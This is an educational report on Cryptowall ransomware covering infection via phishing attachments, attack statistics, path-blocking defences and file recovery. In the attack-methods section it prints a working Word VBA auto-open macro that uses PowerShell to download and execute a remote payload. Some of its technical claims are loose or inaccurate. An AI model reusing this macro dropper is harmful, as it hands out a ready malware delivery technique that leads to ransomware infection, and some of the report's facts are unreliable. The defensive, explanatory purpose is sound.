Cryptowall Report
1. Introduction
A Cryptowall infection on a local or remote computer system is a type of military level encryption technique that can cause loss of personal and commercial data.  [1]
How the Cryptowall virus works is that System Users can be lured into opening an email attachment or hyperlink. 
This attachment or link can run a remote script on your computer from another system. 
In this case the Cryptowall virus encrypts data files (e.g. .PDF, .DOC, .ASP) and then requires System Users to transfer specified funds, converted to Bitcoin, to an anonymous Bitcoin wallet [2].
Once the transfer takes place, System Users may get a decryption key, which will allow decryption of encrypted files [3].
This method is referred to as Ransomware, a process by which System Users is literally held to ransom to provide currency for return of their personal encrypted files [4].
2. Current State

As of writing this report the current amount of Ransomware attacks stands at 100,000 [5]. In 2015-2016 the rate of attacks reached 23,000 to 35,000 a month [6]. This reached a peak in 2016 during March where the Cryptowall style ransomware ‘Locky’ caused 56,000 new infections [6].

Cryptowall is now not the only Ransomware on the market, there are multiple derivatives as mentioned above:
I. Locky [7]
II. Onion [8]
III. Wannacry [9]

3. Attack Methods

How Ransomware attacks occur rely on the complacency of System Users and the organisation. A legacy method of infiltration and infection:

Email Attachment/MS Word Macro Hack

A Microsoft Word document is attached to an email. This seemingly harmless attachment can arrive from Amazon, Paypal or any of System Users Banks as well as many well-known organisations. As the email may contain the familiar organisations logo and links the unsuspecting user will likely download the attachment and open the document. The wording of the email generally implies some instant urgent action by System Users needs to take place or their Amazon account will be locked, Paypal will be suspended or activity has taken place on their bank account that requires attention.
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In a simple word Document macro code written in VB and taking advantage of .NET functionality, the document has payload downloading capabilities. Microsoft Word macros provided the capability for System Users to “record” repetitive processes and automate them. Each recording session is immediately transferred into code. Coders and Hackers can write this code without amateurish recording processes. 

An example of the code used with annotations in green:

//On Open Of Word Document run the following code
Sub Auto_Open()
//Create string object called exec

Dim exec As String

//Initialize string variable with command line path that can be executed in powershell

exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))”””

//Use the macro shell, like a command terminal, to execute the path

Shell (exec) 
End Sub

//On Open Of Word Document run the auto open method
Sub AutoOpen()
	//Run auto_open method
Auto_Open
End Sub [10]

Microsoft Word’s macro fires on attached document load, by using XMLHTTP the document downloads a script and executes it from word  via PowerShell and the payload downloaded by System Users. [11]
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Payload code run via coded download from the MS Word macro [11]

[bookmark: _GoBack]Beyond this point, PowerShell has downloaded the payload text file and ‘executed’ it within PowerShell. It may happen instantly, it may happen over a short period of time as System Users may be presented a popup not unlike the following. System Users files have now been encrypted.
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Popup requesting bitcoin as payment for System Userss encrypted files [12]

Bitcoin is the current choice of currency for the Cybercrime criminals. Bitcoin is a form of Cryptocurrency that is anonymous and unregulated by the financial organisations. Although ideologically it provides a digital currency that can be used across the world outside of all financial institution it is also used to purchase items and services, that can be illegal through the internet. [13]

Once You pay the ransom you get a decryption key that you can use to decrypt your files. [14]

4. Defence Strategies

A preventative measure in initial defence against Cryptowall is to run patches provided by Microsoft to disallow access to certain file paths so the Cryptowall executable cannot run.

http://support.microsoft.com/kb/310791
http://technet.microsoft.com/en-us/library/cc786941(v=ws.10).aspx

Below are the paths that the Cryptowall trojan executable uses:

C:\<random>\<random>.exe
C:\Users\<User>\AppData\Local\<random>.exe (Vista/7/8)
C:\Users\<User>\AppData\Local\<random>.exe (Vista/7/8)
C:\Documents and Settings\<User>\Application Data\<random>.exe (XP)
C:\Documents and Settings\<User>\Local Application Data\<random>.exe (XP)
%Temp%

The Crypto prevent [15] software performs a function on installation that blocks the paths mentioned above.

5. Recovery Methods

A recovery plan must include a system of backup for restoring encrypted files. System Users can restore the encrypted files by ensuring copies exist in the Cloud or within a suitable offline hardware storage unit.

I. File Recovery 
Cryptowall makes a copy of data files and encrypts them on copy, changing the header of the original files, effectly hiding them. The more you use your computer after infection the higher the chance the original files will be overwritten as your operating system runs its own disk defragmentation that swaps space around as it indexes new files [16].
II. Shadow Volume Copy
System users can also restored the encrypted files via a shadow volume copy that you should have backed up on an external server or hard drive.  [16]
III. Dropbox
Dropbox is a cloud drive space service offered online. A folder copy of the Dropbox contents exists on System Users computers, which is synced to the cloud copy and any changes onwards. The paid service offers a versioning process by which you can restore your encrypted files to their original state. [16]
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